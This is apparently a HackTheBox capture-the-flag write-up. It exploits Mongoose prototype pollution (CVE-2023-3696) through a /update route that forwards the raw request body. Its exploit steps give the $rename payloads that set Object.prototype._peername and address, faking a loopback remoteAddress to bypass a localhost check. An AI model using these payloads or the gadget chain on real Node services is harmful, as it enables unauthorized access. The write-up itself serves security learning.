Note
/update passes req.body straight into findByIdAndUpdate, so a {$rename:{content:'__proto__._peername'}} update pollutes Object.prototype (CVE-2023-3696). Set Object.prototype._peername='x' and address='127.0.0.1' so net.Socket.remoteAddress getter returns 127.0.0.1 for the /flag route's localhost check — reading the flag with no real localhost request.
Secure Notes — Mongoose $rename prototype pollution → fake localhost
Platform: HackTheBox · Category: Web (server-side) · Stack: Node/Express + MongoDB (Mongoose ^7.2.4)
Challenge overview
/flag only returns the flag to a request whose socket address is loopback:
const remoteAddress = req.connection.remoteAddress;
if (['127.0.0.1','::1','::ffff:127.0.0.1'].includes(remoteAddress)) res.send(process.env.FLAG);
else res.status(403)...
/update is the bug: it forwards the entire request body into Mongoose's update:
const { noteId } = req.body;
await Note.findByIdAndUpdate(noteId, req.body); // attacker controls the update object
mongoose is ^7.2.4 (resolves to the vulnerable 7.2.4) → CVE-2023-3696: a $rename whose
destination is __proto__.<x> walks into Object.prototype and pollutes it on the next find().
Step 1 — prototype pollution via $rename
The advisory pattern: rename a real field's value onto __proto__.<key>, so the value of that field
becomes the polluted prototype value. So we create a note whose content is the value we want, then
rename content → __proto__.<key>:
# pollute Object.prototype._peername = "x"
nid = create_note(content="x")
post("/update", {"noteId": nid, "$rename": {"content": "__proto__._peername"}})
# pollute Object.prototype.address = "127.0.0.1"
nid = create_note(content="127.0.0.1")
post("/update", {"noteId": nid, "$rename": {"content": "__proto__.address"}})
Step 2 — why _peername + address fakes loopback
req.connection.remoteAddress is a getter on net.Socket:
// returns this._peername.address; lazily filled from the real socket only if _peername is falsy
if (!this._peername) { this._handle.getpeername(out); this._peername = out; }
return this._peername.address;
Polluting Object.prototype._peername = "x" makes this._peername truthy by inheritance, so the
socket never fills it from the real peer; then "x".address doesn't exist as an own property, so it
falls through to the polluted Object.prototype.address = "127.0.0.1". Result: remoteAddress returns
127.0.0.1 for every connection.
Step 3 — read the flag
GET /flag -> remoteAddress === "127.0.0.1" -> FLAG
Flag: HTB{m0ng00s3_pr0t0typ3_p0llus10n_c0mb1n3d_w1th_1nt3rn4l_n0d3_g4dg3ts!}
Takeaways (generalized techniques)
- Mongoose
$renameprototype pollution (CVE-2023-3696): when user input reachesfindByIdAndUpdate(id, body)unfiltered,{"$rename":{"field":"__proto__.key"}}pollutesObject.prototypeon the next query.^-pinned deps that look fixed can still resolve to the vulnerable version — check the lockfile. - Pollution gadgets reach deep into Node internals.
net.Socket's lazy_peernamecaching meansObject.prototype._peername+Object.prototype.addressoverrideremoteAddress— turning a generic pollution into an IP allowlist bypass (no SSRF/real localhost request needed). Hunt for "checked-if-falsy then cached" properties on built-ins. - Forwarding
req.bodyinto a DB update is object injection: the body can carry operators ($set,$rename,$function) the developer never intended.
Sources & references
- Challenge source:
hackthebox/web/secure_notes - CVE-2023-3696 (Mongoose): https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-5777721